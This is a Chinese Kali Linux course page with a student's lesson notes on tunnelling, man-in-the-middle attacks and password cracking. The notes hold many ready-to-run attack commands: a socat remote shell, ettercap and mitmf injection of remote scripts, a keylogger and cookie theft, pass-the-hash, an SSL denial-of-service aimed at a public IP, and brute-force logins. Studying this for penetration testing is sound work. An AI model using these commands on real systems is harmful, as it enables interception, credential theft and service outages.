846人加入学习
(36人评价)
Kali Linux安全测试

爆款好课 NO.1

价格 ¥ 599.00
该课程属于 武官课程 请加入后再学习

ICMP隧道

ICMP(internet contrl manager protocol)

ICMP协议有16种类型

通过ICMP echo(ping requests)和reply(ping reply)实现隧道

适用于防火墙允许ping出战流量

支持多并发连接,性能相对优

支持身份验证

需要root权限

支持抓包

Windows:winpcap

Linux:libpcap

按wireshark的时候自己带着

启动服务器

ptunnel -x 1234

-x 指定隧道连接的密码(可以不指定)

启动客户端

sudo ptunnel -p poxy -lp 2222 -da destination -dp 22 -x 1234

-p proxy代理地址

-lp 本地侦听的端口

-da 要访问的地址

-dp 要访问的端口

-x 密码

嵌套SSH隧道

ssh -CNfg -D 7000 root@127.0.0.1 -p 2222

ptunnel 知道目前的最新版仍然存在拒绝服务攻击漏洞

[展开全文]
hl0rey · 2017-02-19 · ptunnle 0

SOCAT

被称为nc++

建立双向数据流通通道工具

命令由两个部分组成

连接端口

socat - tcp:1.1.1.1:80

- 表示标准的输入输出

帧听端口

socat - tcp4-listen:22

socat - tcp-l:333

接收文件

socat tcp4-listen:333 open:2.txt,creat,append

发送文件

cat 1.txt | socat - tcp4:1.1.1.1:333

远程shell——服务端

socat tcp-l:23 exec:sh,pty,stderr

端口转发

socat tcp4-listen:22,fork tcp4:1.1.1.1:22

fork 每当有新的访问时,复刻当前连接,产生一个子进程

远程执行命令

服务器端 socat - udp-l:2001

客户端 echo “`id`” | socat - udp4-datagram:1.1.1.1:2001

UDP全端口任意内容发包

for PORT in {1..65535}; do echo "aaaaa" | socat - UDP4-DATAGRAM: 1.1.1.1:$PORT; sleep .1; done

二进制编辑器

echo -e "\0\14\0\0\c" | socat -u - file:/usr/bin/ squid.exe,seek,seek=0x00074420

-u 单向数据传输

做简单的WEB服务器

socat -T 1 -d -d TCP-L:10081,reuseaddr,fork,crlf SYSTEM:"echo -e \"\\
\"HTTP/1.0 200 OK\\\nDocumentType: text/plain\\\n\\\ndate: \$\(date\)\\
\nserver:\$SOCAT_SOCKADDR:\$SOCAT_SOCKPORT\\\nclient: \
$SOCAT_PEERADDR:\$SOCAT_PEERPORT\\\n\\\"\"; cat; echo -e \"\\\"\\\n\
\\"\""

[展开全文]
hl0rey · 2017-02-19 · SOCAT 0

DNS隧道

iodine(翻译为碘)

基于DNS查询的隧道工具

与同类工具相比的优点

    对下行数据不进行编码,因此性能优

    支持多平台:linux,BSD,Mac OS,Windows 也支持安卓

    最大16个并发的隧道

    强制密码支持

    支持同网段隧道IP,客户端和服务端各创建一个虚拟网卡,并各绑定一个IP地址(不同于服务端和客户端的网段)可以理解为一条虚拟的网线

     双向的隧道,两端都可以发起连接

     支持多种DNS记录类型

     丰富的隧道质量检测措施

运行服务器端

-f 在前台运行(可选)

-c 检查不适合作为地址的IP(可选)

iodined -f -c 10.0.0.1 test.lab.com

生成dns0网卡

指定的地址作为隧道的地址

运行客户端

iodine -f test.lab.com

指定的地址是内网的DNS服务器的地址,不指定工具自己去找

形成隧道之后,再利用设置代理利用隧道通信

也可以嵌套其他隧道

ssh -CfNg -D 7001 root@10.0.0.1

隧道网络接口特性

不基于资源的通用隧道,如同本网段内两台相邻的主机

服务端和客户端分别生成隧道网络接口dns0

隧道两端接口IP地址应使用不同网段的地址

可以嵌套其他隧道

 

windows下使用iodine

建立虚拟隧道网卡的接口的前提

隧道建立需要TAP类型的网卡

安装TAP网卡驱动

利用openvpn安装包安装的TAP网卡驱动

只安装TAP Virtual Ethernet Adapter 和所有依赖包

http://code.kryo.se/iodine/

iodine -f test.lab.com

-T 强制指定使用的记录类型

windows下建立SSH隧道

     putty

     图形化的

NCAT

包含在nmap中

poxy代理功能

软件变成一个代理

ncat -l 8080 --proxy-type http --proxy-auth user:pass

不指定端口就侦听 31337

broker中介功能(好东西)

可以理解为一个hub(集线器)

客户端之间发送任何信息都会被hub到其他客户端

服务端

ncat -l 333 --broker

批量执行命令

ncat 1.1.1.1 --sh-exec "echo `pwd`“(pwd周围是1左边那个符号,意思是执行指令)

批量传文件

ncat --send-only 1.1.1.1 < inputfile

[展开全文]

基于不安全的信任(轻信)或可利用的不可避免的信任,实现绕过

squid

3128端口

[展开全文]

DNS协议隧道

DNS服务,UDP 53端口用于应付查询,TCP 53端口用于域名服务器同步数据

防火墙禁止TCP出战流量,SSH隧道端口转发全部失效。

使用基于UDP协议的隧道,DNS的工作原理适合用于实现隧道

缓存DNS服务器没有固定写好的记录。默认只有根域的域名服务器(.域),如果没有缓存就转发查询请求,迭代查询,查到的记录都缓存下来,不是永久保存,有时间限制(TTL)。查到目标的时候会在最后的一个节点上会返回一个数据包带着建立SSH隧道的数据

DNS工作原理

前提条件是:注册受自己控制的DNS记录

 

dns2tcp

利用合法的DNS服务器实现DNS协议隧道

C/S(dns2tcpc客户端/dns2tcpd服务端)架构

通过TXT记录(做反向域名查询,做反垃圾邮件)加密传输数据(A记录长度有限)

建立后保持连接,发送类似心跳的信号,间隔很多的一段的时间就发送一个确认包,确实连接是否还有效

默认记录生存时间TTL值为3秒

fqdn最大255个字节

dns2tcp服务端的配置文件

/etc/dns2tcpd.conf

或者在当前登录帐号的主目录下.dns2tcprcd

启动

dns2tcpd -F -d 1 -f /etc/dns2tcpd.conf

-F 前端运行

-d debug level 1-3

-f 指定配置文件

dns2tcpc -c -k pass -d 1 -l 2222 -r ssh -z test.lab.com

-k key相当一个密码 服务器端配置的米按摩

-c 启动流量压缩

-d debug

-l 在本地的侦听,访问对面的资源通过这个端口

-r 指定利用的的,SSH,HTTPS什么的

-z  zone 指定用哪个域名去建立隧道

[展开全文]

SSH远程端口转发

远程端口转发不能作为网关给别人使用

由于ACL等原因,SSH与应用连接建立方向相反

本地端口转发

SSH客户端和应用客户端位于FW一端

SSH服务端和应用服务端位于另一端

远程端口转发是在两端

ssh -fNg -R <listen port>:<remote ip>:<remote port> user@<SSH server> -p <ssh server port>

远程转发,SSH 侦听端口开在远程的SSH Server

侦听端口永远开在应用客户端一方

本地 远程的转发都需要固定的应用服务器IP Port

  弊端

  应用端口繁多,逐个转发效率低

  某些应用不固定端口,某些网站不支持IP 直接访问

SSH动态端口转发

    本地侦听socks4/5代理端口

         由SSH server决定如何转发

          作为翻墙代理使用

           配置客户端代理

          使用proxychains支持无代理客户端 

命令

ssh -CfNg -D 7009 root@192.168.1.111 -p 53 

X 协议转发

远程登录linux GUI运行图形化界面工具

   VNC

   X windows

防火墙限制访问时

  ssh -X user@1.1.1.1 -p 53

连接上还是显示字符界面,但是可以使用图形界面程序(运行在目标机器)

[展开全文]

SSH隧道

  SSH支持双向通信隧道

  将其他TCP通信通过SSH转发,SSH作为传输层协议,对流量自动加密。可以用于突破防火墙

  SSH本地端口转发

  效果类似rinetd,将一本地端口与远程服务器建立隧道   

  本机端口转发

  本机侦听端口,访问转发到远程主机指定的端口

  远程端口转发

   远程端口转发,访问转发到本机主机指定端口

  动态隧道模式(动态端口转发)SSH服务器动态自动判断流量流向

SSH本地端口转发

将一本地端口与远程服务器建立隧道

/etc/ssh/sshd_config
PermitRootLogin yes #允许root登录
Port 53 #默认的侦听TCP 22
PasswordAuthentication yes #使用密码身份认证

启动SSH服务

-f 后台运行

-N 建立链接不获得shell,不加则默认获得一个shell

-C 对连接通信过程流量使用压缩

-g gateway把建立的隧道当成网关,能够承载多个用户,支持多主机访问本地侦听端口

service ssh restart

SSH默认配置root帐号不能SSH登录

建立本地端口转发

默认获得一个shell

    ssh -fCNg -L <listen port>:<remote ip>:<remote port> user@<ssh
server> -p <ssh server port>

SSH隧道已经建立了,所以可以用localhost

    ssh -fCNg -L <listen port>:localhost:<remote port> user@<ssh
server> -p <ssh port>

侦听127.0.0.1时对外网不可用

端口转发基于建立起来的SSH隧道,隧道中断,端口转发中断

只能在建立隧道的同时创建转发规则,不能为已有端口增加转发。

 

[展开全文]

流量操控技术 (Traffic manipulation technique)

改变流量的流向

渗透测试中经常遇到访问受限的网络环境,后门无法被反弹或正向连接

使用隐蔽的手段躲避安全检查措施和溯源追踪

证明看似严格的访问控制仍然存在弱点

在非受信任的网络中实现安全的数据传输

基本不加限制的服务

DNS服务

   TCP 53端口

   UDP 53端口 做域名解析

SSH服务

   TCP 22端口

重定向(Redirection)

   IP   重定向 

   Port  重定向

隧道(Tunneling)

   实现安全通信,通常使用多种加密技术建立通信隧道。常用的两种,点到点(IP2IP),不是完全加密,边界与边界之间加密,进入内网便解密。端到端(Port2Port),通信全程加密。日常经常使用各种VPN技术,pptp ,l2tp,IPSec, SSL vpn

封装(encapsulation)

   通常结合在隧道中使用,使用一种协议封装一种协议(RPC o http(大部分是https),VoIP)

    使用网关设备实现不同类型网络的互联互通,通常路由是实现相同类型网络不同网段的通信

monowall防火墙

重定向实现

Rinetd

    配置 /etc/rinetd.comf

 bindadress 帧听的地址 本机的地址

 bindport 帧听的端口 本机的端口

 connectadress 转向的地址

 connectport 转向的端口

 运行 rinetd

应用

突破web访问限制

绕过防火墙,连接远程桌面

nc重定向获得shell

 

[展开全文]

中间人攻击

Ettercap

  统一的中间人攻击工具,集合了大部分中间人攻击的功能

  转发MAC与本机相同,但IP与本机不同的数据包(本来给网关的包,错误发给了中间人)

 支持SSH1 SSL中间人攻击(基于伪造证书)

  模块划分

  Snifer 抓包嗅探

   负责数据包的抓和发

     Unified

       单网卡情况下独立完成三层转发

       始终禁用内核IP_Forward功能

     Bridge

       双网卡情况下相当于一层的MITM攻击(一个卡进,一个卡出,相当于一根网线,及其隐蔽)

       可作为IPS过滤数据包

        不可在网关上使用(透明网桥)

      

  MITM 中间人

    双向流量都经过中间人叫全双工

   经过一次,半双工

    把流量重定向到ettercap主机上

    也可以使用其他工具实现MITM

 实现MITM的方法

    ARP地址欺骗

    ICMP路由重定向(通告最好的上网线路),半双工

    DCHP修改网关地址,半双工

    Switch Port Steal 交换机端口窃取,适用于ARP静态绑定的环境    大量向交换机发送数据包(flood  泛洪),发目的地址是本机,源地址是受害者MAC地址,更新中间人端口的地址记录,让交换机产生误解,误以为中间人是受害者 产生大量泛洪,目标多了,效率不高 双工 半双工都可以

      NDP

        IPv6协议毒化欺骗技术

    2.4以上的内核对ARP地址欺骗的约束,收到非请求的ARP响应包,不更新本地ARP缓存 。Ettercap 使用ARP request包进行攻击

    Solaris 不根据ARP包更新本地ARP缓存。Ettercap使用先发ICMP包更新缓存 

 Filter 筛选  

  Log 日志

  Plugin 插件

用户界面

   -T  文本界面

  -G  图形界面

  -C 基于文本的图形界面

  -D 后台模式

指定目标

   制定一对目标,原本就有通信的两个机器(例如网关和受害者)

  ettercap  mac地址/1.1.1.1/端口  /1.1.1.2/

目标指定都是三条斜线

– IPv4:MAC/IPs//Ports
– IPv6:MAC/IPs/IPv6/Ports
– /10.0.0.1−5;10.0.1.33/20−25,80,110

权限

    默认是nobody(gid uid  65535),只有在建立二层socket连接的时候用一下root的权限,建立链接之后就变回nobody,日志写入需要权限,可以改配置文件,改成uid gid 0,通过主配置文件修改etc/ettercap下etter.conf

基于伪造证书的SSL MITM

   – Bridge模式不支持SSL MITM
– openssl genrsa −out etter.ssl.crt 1024
– openssl req −new−keyetter.ssl.crt −out tmp.csr
– openssl x509 −req −days 1825 −in tmp.csr −signkey etter.ssl.crt
−out tmp.new
– cat tmp.new>>etter.ssl.crt
– rm −f tmp.newtmp.cs

字符模式

-M 实现MITM的方法

arp:remote 全双工欺骗

-q 安静模式,不把所有的都记载,记载密码什么的比较关键的

-w a.cap流量记录下

-L logall 都记录

-l loginfo简单日志记录

-m message重要信息记录,密码啥的

-P 载入模块

ettercap -i eth0 -T -M arp -q /192.168.1.1// /192.168.1.2// -F 1.ef -P
autoadd -w a.cap -l loginfo -L logall -m message

SSL MITM

    默认没有开启SSL中间人

    vi /etc/ettercap/etter.conf

   修改配置文件

DNS欺骗

    dns spoof插件配置文件,要欺骗哪些,相当于一个HOSTS文件

    vi /etc/ettercap/etter.dns

etterlog日志查看

etterlog -p xx.eci读取获取的密码 

etterlog -c xx.ecp 列出所有的链接

etterlog -c -f /1.1.1.1/ log.ecp
etterlog -B -n -s -F TCP:1.1.1.1:20:1.1.1.2:1234 log.ecp > aa
选择相应的连接并榨取文件

21传命令  20传文件

Filter 筛选脚本   xxx.filter.xxx

    /usr/share/ettercap   

SSH-2.xx(ettercap不能做中间人解密) / SSH-1.99(两种都可以支持) / SSH-1.51
   编译成一个ettercap可以读取的格式

      etterfilter etter.filter.ssh -o ssh.ef

      mv ssh.ef /root/

      -F  ssh.ef 来调用

    改变客户端使用的使用的SSL版本

  

    例子,替换HTTP内容,可以替换别的,自由发挥

if (ip.proto == TCP && tcp.src == 80) {
msg("data on TCP 80\n");
replace("img src=", "img src=\"http://1.1.1.1/1.gif\" ");
replace("IMG src=", "img src=\"http://1.1.1.1/1.gif\" ");
replace("IMG SRC=", "img src=\"http://1.1.1.1/1.gif\" ");
 }     

基于其他方法的欺骗

  ICMP

-M icmp:00:11:22:33:44:55/10.0.0.1(真实网关的MAC/IP)

  DHCP

-M dhcp:192.168.0.30,35,50−60/255.255.255.0/192.168.0.1(DNS)
Port steal
 -M port /1.1.1.1/ /1.1.1.2/
Ndp
-M ndp //fe80::260d:afff:fe6e:f378/ //2001:db8::2:1/

直接使用密文登录(静态密文的话)

Pass the Hash(PTH)windows远程登录有这个问题

将密文提交给服务器直接完成身份认证

NTLM/LM是没有加盐的静态的HASH密文

企业使用ghost等工具克隆安装系统,所有机器帐号密码都相同

pth-winexe -U w7%aad3b435b51404eeaad3b435b51404ee:ed1bfaeb3063
716ab7fe2a11faf126d8 //1.1.1.1 cmd

[展开全文]

欺骗的目的是让流量重定向

DNS欺骗

前提是修改受害者的dns配置

dnschef   启动个假的dns服务器

   dnschef --fakeip=1.1.1.10 --
fakedomains=www.google.com,www.youtube.com --interface 1.1.1.2 -q

 --fakeip  欺骗的域名最终解析到的ip

 --fakedomains 欺骗的域名

 --interface 在哪个ip对应的网卡上进行欺骗,开启一个假的dns服务器

 

注入XSS

  即使没有XSS漏洞,也可以凌空向每个HTTP请求注入XSS攻击代码,一旦打手,影响范围巨大,如果中间人发生在运营商路线,及其难被发现

Mitmf 安装

 注意可能有问题

 – pip uninstall twisted
 – wget http://twistedmatrix.com/Releases/Twisted/15.5/Twisted-
15.5.0.tar.bz2
 – pip install ./Twisted-15.5.0.tar.bz2

 

启动beef

 cd usr/share/beef-xss

 ./beef

mitmf 插入

 --spoof 使用欺骗

 --arp  使用arp欺骗

 -i 指定网卡

 --gateway 网关

 --target 目标

 --inject 注入

 --js-url 注入的url

 mitmf --spoof --arp -i eth0 --gateway 1.1.1.1 --target 1.1.1.2 --inject
--js-url http://1.1.1.3:3000/hook.js

--jskeylogger 键盘记录器

mitmf --spoof --arp -i eth0 --gateway 192.168.20.2 --target 192.168.20.1 --jskeylogger

--upsidedownternet 把图片转180度(开玩笑的东西)

--screen 屏幕快照(var/log/mitmf,十秒一张)

--ferretng 窃取cookie

--browserprofiler 浏览器及插件信息(看看flash java的版本,这俩漏洞多)

--smbtrap --smbauth

收集目标smb的帐号信息

--hsts

绕过 HSTS 的限制

 HTTP strict Transport Security

防止协议降级cookie窃取

安全策略通过HTTP相应头实施

限制user-agent https等

--filepwn

凌空插后门

有执行程序经过中间人的话就加入后门,并不是所有的都能插后门

[展开全文]

密码嗅探

  二三层地址

    IP网络到网络

    MAC主机到主机

  交换机和HUB

    HUB 全端口转发

    交换机根据学习地址转发

     混杂模式抓包

 

二层设备 可以识别MAC地址

三层设备 可以识别IP地址

 

ARP协议 (IP解析协议  IP>MAC)

  免费ARP

  基于广播学习

  以太网头 ARP头

  请求 响应相对独立

  基于传闻的协议 在没发请求的情况下,谁发相应包都信(ARP地址欺骗)

 ARP地址欺骗

   自己制造一个响应包

 arp -d 清除本地arp缓存

arp -a 查看arp地址表 linux是 -an

 

开启路由功能

  echo 1 > /proc/sys/net/ipv4/ip_forward

arpspoof

  欺骗受害者和网关实现中间人攻击

 -t 被欺骗者

 -r 路由,网关

网络嗅探

  通用抓包工具就可以

功能单一,直观的嗅探

  driftent

  -i 指定一个网口,把嗅探到的图片    展示出来 

  -a 保存下来 -d 指定一个目录  -s 保存声音

 webspy  (可能不大稳定)

   -i 指定网卡 再跟被欺骗的地址

urlsnarf

  -i 指定一个网卡   

  请求  80 8080 就会被抓获解析

dsniff  专门嗅探密码

   -i 指定网卡   -m 自动某些解码

实现dns欺骗

UDP 53 端口  dns服务器

dnsspoof -i 网卡

  -f  /usr/share/dsniff/dnsspoof.hosts 指定要欺骗的域名 host文件

 

 

[展开全文]

离线密码破解

 oclhashcat

 号称世界上最快、唯一基于GPGPU的密码破解软件

 免费开源、支持多平台、支持分布式 、150+hash算法

 硬件支持

 虚拟机中无法使用

 支持CUDA技术的NVIDIA显卡

 支持openCL技术的AMD显卡

 安装响应的驱动

限制

 最大密码长度55字符

 使用Unicode的最大面膜长度27字符

版本

 oclhashcat-plus和oclhashcat-lite已经合并为oclhashcat

 

RainbowCrack

 基于时间记忆权衡技术生成彩虹表

 提前计算密码HASH值,通过比对HASH值破解密码

 计算HASH的速度很慢,修改版支持CUDA GPU(原版不支持GPU)

 kali中包含的RainbowCrack工具

  rtgen 云计算,生成彩虹表,耗时的阶段

 rtsort 对rtgen生成的彩虹表进行排序

 rcrack 查找彩虹表破解密码

  以上命令必须顺序使用

 

 

john 离线密码破解

 支持众多服务应用的破解加密

 支持某些对称加密算法

 模式 

 Wordlist 基于规则的字典破解

 Single crack 默认被首先执行,使用login/GECOS来破解

  合并字典文件

 unshadow 文件 文件 > a.txt

 Ophcrach

   离线密码破解

    在线密码破解

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

[展开全文]

windows系统HASH获取工具

 利用漏洞 Pwdump fgdump mimikatz wce

 屋里接触 samdump2

  已经获得了物理主机的控制权,从SAM数据库拿密码HASH

  kali ISO启动

  mount /dev/sda1 /mnt

  cd mnt/Windows/System32/config

 samdump2 SYSTEM SAM -o sam.hash

 用nc来传输HASH

 

Hashcat 

 开源多线程面膜破解工具

  开源多线程密码破解工具 

  支持80多种加密算法破解 

  基于CPU的计算能力破解 

  六种模式 – 0 Straight:字典破解 – 1 Combination:将字典中密码进行组合(1 2 > 11 22 12 21)

– 2 Toggle case:尝试字典中所有密码的大小写字母组合 

– 3 Brute force:指定字符集(或全部字符集)所有组合 

– 4 Permutation:字典中密码的全部字符置换组合(12 21) 

– 5 Table-lookup:程序为字典中所有密码自动生成掩码

命令

 查看评估密码破解能力

 – hashcat -b
 破解

 -m 指定破解的加密类型

 -a 破解模式

 – hashcat -m 100 hash.dump pass.lst
 – hashcat -m 0 hash.txt -a 3 ?l?l?l?  l?l?l?l?l?d?d
 – 结果:hashcat.pot
 

 不知道多长,增量模式

 – hashcat -m 100 -a 3 hash -i --  increment-min 6 --increment-max
 8 ?l?l?l?l?l?l?l?l
 

 字符集

 – ?l = abcdefghijklmnopqrstuvwxyz
 – ?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ
 – ?d = 0123456789
 – ?s = !"#$%&'()*+,-./:;<=>?  @[\]^_`{|}~
 – ?a = ?l?u?d?s
 – ?b = 0x00 - 0xff

 

Syskey工具

 windows操作系统工具

 使用Bootkey利用RC3算法加密SAM数据库

 Bootkey保存在SYSTEM文件中

 对SAM数据库加密,设置一个启动密码

 系统生成密码 可以再软盘上或者在本机上

  Bkhive

   从SYSTEM文件中提取bootkey

   kali2.0抛弃了

   编译安装 需要libssl开发包

http://http.us.debian.org/debian/pool/main/b/bkhive/ 

 命令(建议使用kaili1.0)

 bkhive SYSTEM key 

 samdump2 SAM key (版本已更新,不再支持此功能) 

[展开全文]

pw-inspector 字典过滤工具

 按长度和字符集筛选字典

 pw-inspector -i /usr/share/wordlists/nmap.lst -o p.lst -l

 pw-inspector -i /usr/share/wordlists/nmap.lst -o P.lst -u

 密码破解效率

  密码复杂度(字典命中率)

  带宽、协议、服务器性能、客户端性能 

  锁定阀值

  单位时间最大登陆请求次数

Hydra 的缺点
– 稳定性差,程序时常崩溃
– 速度控制不好,容易触发服务屏蔽或锁死机制
– 每主机新建进程,每服务新建实例
– 大量目标破解时性能差
Medusa 的特点
– 稳定性好
– 速度控制得当
– 基于线程
– 支持模块少于hydra(不支持RDP)
– WEB-Form支持存在缺陷

Medusa (美杜莎)

medusa -d 查看支持的模块

 -M 指定模块

 -m 指定模块里的小参数,多个参数,就过个m跟参数指定

 -F 破出一个,停止破解

 -n 非默认端口

 -s 使用SSL连接

 -T 并发主机数

 -M ftp -q 查看具体有哪些小参数

 破解windows密码 

 – medusa -M smbnt -h 1.1.1.1 -u administrator -P pass.lst -e ns -F 

 破解Linux SSH密码 

 – medusa -M ssh -h 192.168.20.10 -u root -P pass.lst -e ns –F 

 其他服务密码破解 

 – medusa -M mysql -h 1.1.1.1 -u root -P pass.lst -e ns -F 

 – medusa -h 1.1.1.1 -u admin -P pass.lst -M web-form -m FORM:"dvwa/login.php" -m DENY-SIGNAL:"login.php" -m FORMDATA:"post?user=username&pass=password&Login=Login"

离线密码破解

 身份认证

  禁止明文传输密码

  每次认证使用HASH算法加密密码传输(HASH算法加密容易、加密困难)

  服务端用户数据库应加盐加密保存

破解思路

 嗅探获取密码hash

 利用漏洞登陆服务器并从用户数据库获取密码HASH

 识别HASH类型

  长度、字符集

 利用离线破解工具碰撞密码HASH

 优势

 离线不会触发密码锁定机制

 不会产生大量登陆失败日志引起管理员注意

HASH识别工具

 hashidentifier

 hashid

[展开全文]

按个人信息生成其专属的密码字典

CUPP

 -i 向导方式

通过收集网站信息生成字典

采集可能成为密码内容的素材

cewl 1.1.1.1 -m 3 -d -e -c -v -w a.txt

 -m 最小单词长度

 -d 爬站深度

 -e 收集包含email地址信息

 -c 每个单词出现的次数

支持基本、摘要身份认证

支持代理

用户密码变形

 基于cewl的结果进行密码变形

 末尾增加数字串

 字母大小写变化

 字母和符号互相转换

 字母与数字互相转换

 P@$$w0rd

使用John the Ripper配置文件实现密码动态变形,先有一个字典然后动态变形

/etc/john/john.comf

- [List.Rules:Wordlist]
– $[0-9]$[0-9]$[0-9]
– john --wordlist=cewl.txt --rules --stdout > m.txt

– [List.Rules:test]
$[0-9]$[0-9]$[0-9]$[a-zA-Z]
$[0-9]$[0-9]$[0-9]$[a-zA-Z]$[a-zA-Z]$[a-zA-Z]$[`~!@#$%^&*()\-_=+]
– john --wordlist=cewl.txt --rules=test --stdout > m.txt
– john --wordlist=ahm.lst --rules=test HASHFILE

在线密码破解-hydra

 hydra

 -l 用户名

 -L 用户名字典

 -p密码

 -P 密码字典

 -t 并发连接数

 -v 详细信息

 -s 指定被改变了的非默认端口

 n 空密码

 s 密码帐号相同

 r 账号和密码互换

 服务:ip地址 ftp://1.1.1.1

 加密的访问 /cipher suite

pop3://1.1.1.1/(cipher suite)

 windows密码破解

windows默认共享 smb服务

 IPC$

 ADMIN$

 C$

 每个盘符都有默认共享

   hydra -l administrator -P pass.lst smb://1.1.1.1/admin$ -vVd
   hydra -l administrator -P pass.lst rdp://1.1.1.1 -t 1 -vV

linux密码破解

 – hydra -l root -P pass.lst ssh://1.1.1.1 -vV

其他服务破解

– hydra -L user.lst -P pass.lst ftp://1.1.1.1 -s 2121 -e nsr -o p.txt -t 64

 图形化界面

 xhydra

 HTTP表单身份认证(不好用)

  hydra -l admin -P pass.lst 1.1.1.1 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:S=index.php" -V 

  hydra -l admin -P pass.lst 1.1.1.1 http-post-form"/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login Failed" -V 

 /foo.php:user=^USER^&pass=^PASS^:S=success:C=/page/cookie:H =X-Foo: Foo   C:先访问指定页面取得cookie  

   H:指定http头 

– https-post-form、http-get-form、https-get-form 

 -S:使用SSL连接

 

 

 

 

[展开全文]

思路

 目标系统实施了强安全措施

  安装了所有补丁

  无任何已知漏洞

  无应用层漏洞

  攻击面最小化

 

 社会工程学

 获取目标系统用户身份

  非授权用户不受信,认证用户可以访问受信资源

  已有用户账号权限受限,需要提权

  不会触发系统警报

身份认证方法

证明你是你声称你是的那个人

 你知道什么(账号密码、pin、passphrase)

 你有什么(令牌、token、key、证书、密保、手机)

 你是谁(指纹、视网膜、虹膜、掌纹、声纹、面部识别)

 以上方法结合使用(多因素身份认证)

密码破解方法

 人工猜解

  垃圾桶工程

  被动信息收集

 基于字典暴力破解(主流)

 键盘空间字符破解

  全键盘空间字符

  部分空间字符

  

 字典

 保存有用户名和密码的文本文件

 /usr/share/wordlist

 /usrshare/wfuzz/wordlist

 /usr/share/seclists

crunch

 创建字典

 crunch <min-len> <max-len> [<charset string>] [options]
– <charset string>

 -o 生成的文件名(或者跟STARE)

 -b 按大小分割字典文件 kb/kib mb/mib gb/gib

 -d 同一字符最大出现频率

 -c 每个字典的行数,每多少行生成一个字典文件

 -f 指定来自文件的字符集

 -f  /usr/share/crunch/charset.lst lalpha-sv 也可以指定别的,自带了很多

 无重复字符

 -p 给定字符集,调换字符的顺序生成字典

 必须是最后一个参数

 最大、最小字符长度失效,但必须存在

 与-s参数不兼容

 -s 指定起始字符串,从起始字符开始生成字典

 -q 读取文件中每行内容作为基本字符生成字典。最小长度最大长度失效

字典组成规则

 crunch 6 6 -t @,%%^^|more

 @ 小写字母 lalpha

 , 大写字母 ualpha

 % 数字 numeric

 ^ 符号 symbols

输出文件压缩

 -z 7z压缩

 其他压缩格式 gzip bzip2 lzma 

 crunch 5 5 abc DEF + \!@# -t ,@^%, 

 + 占位符

 \ 转义符(空格、符号)

 任何不同于--p参数指定的参数的都可以作为占位符

 crunch 5 5 -t ddd%% -p dog cat bird

 通过管道输送给别的软件结果,结合使用,不保存到硬盘

crunch 2 4 0123456789 | aircrack-ng a.cap -e MyESSID -w - 

 crunch 10 10 12345 --stdout | airolib-ng testdb -import passwd -

[展开全文]

linux无线网络的协议栈

内核层面

 

用户层面 

 iwconfig

 

无线网卡配置

 查看无线网卡

  ifconfig

  iwconfig

  iw list

 信道频率

 

扫描附近AP

 iw dev 网卡 scan

.bashrc 计算机启动的时候自动执行里面的脚本

[展开全文]

SSL/TLS 拒绝服务攻击 资源消耗型打击

 thc-ssl-dos

  SSL协商加密对性能开销增加,大量握手请求会导致拒绝服务

 利用SSL secure Renegotiation特性,在单一TCP链接中生成数千个SSL重连接请求,造成服务器资源过载

 与流量式拒绝服务攻击不同,thc-ssl-dos可以利用dsl线路打垮30G带宽的服务器

 服务器平均可以处理300次/秒SSL握手请求

 对SMTP、POP3等服务等同样有效

thc-ssl-dos 199.223.209.205 2083 -accept

对策

 禁用SSL-Renegotiation、使用SSL Accelerator

 通过修改thc-ssl-dos代码,可以绕过对策(据说是)

 

AJAX

AJAX的安全问题

 多种技术混合,增加了攻击面,每个参数都可能形成独立的攻击过程

 AJAX引擎是个全功能的脚本解释器,访问恶意站点可能后果严重,虽然浏览器有沙箱和SOP,但可以被绕过

 服务器、客户端代码结合使用产生混乱,服务器访问控制不当,将信息泄漏

 暴露应用程序逻辑

对渗透测试的挑战

 异步请求数量多且隐蔽

 触发AJAX请求条件无规律

 手动和截断代理爬网可能产生大量遗漏

AJAX爬网工具

 ZAP

源代码审计

firebug

WEB Service

 面向服务的架构(service oriented architecture)便于不同系统集成共享数据和功能

 尤其适合不想暴漏数据模型和程序逻辑而访问数据场景

两种类型的WEB service

 Simple object access protocol(SOAP)

  传统的Web service开发方法,xml是唯一的数据交换格式

  要求安全的应用更多采用

 RESTful(Representational State Transfer architecture——REST)

 目前被采用比较多,轻量级的Web Service,支持多数数据交换格式,JSON是首选格式

WEB Service安全考虑

 使用API key或session token实现和跟踪身份认证

 身份认证由服务器完成,而非客户端

 API key、用户名、session token永远不要通过URL发送

 RESTful默认不提供任何安全机制,需要使用SSL/TLS保护数据安全

 SOAP提供强于HTTPS的WS-security机制

 使用OAuth或HMAC进行身份验证,HMAC身份认证使用C/S共享密钥加密API key

 使用随机token防止CSRF攻击

 对用户提交参数过滤,建议部署基于严格白名单的方法

 报错信息消毒

 直接对象引用应严格身份认证(电商公司以ID作为主索引)

 

[展开全文]

SSL中间人攻击

 攻击者位于客户端和服务器通信链路中

  ARP地址欺骗 让受害者认为中间人机器是网关

  DHCP动态主机配置协议 协议本身缺乏保护机制,其通信四步过程第一步是基于广播的,windows的话其中四步全是广播

  修改网关

  修改DNS

  修改HOSTS

  攻击脆弱协议ICMP、STP、OSPF

 STP(生成树协议) 是物理环路存在的情况下,避免逻辑环路

 OSPF(Open Shortest Path First开放式最短路径优先)

攻击的前提条件

 客户端已经信任伪造证书的颁发机构

 攻击者已经控制了合法的证书颁发机构

 客户端禁止了显示证书错误告警信息

 攻击者已经控制客户端,强制其信任伪造证书

SSLsplit

 透明SSL/TSL中间人攻击工具

 对客户端伪装成服务器,对服务器伪装成普通客户端

 伪装服务器需要伪造证书,先生成一张,用openssl生成证书私钥

 openssl genrsa -out ca.key 2048

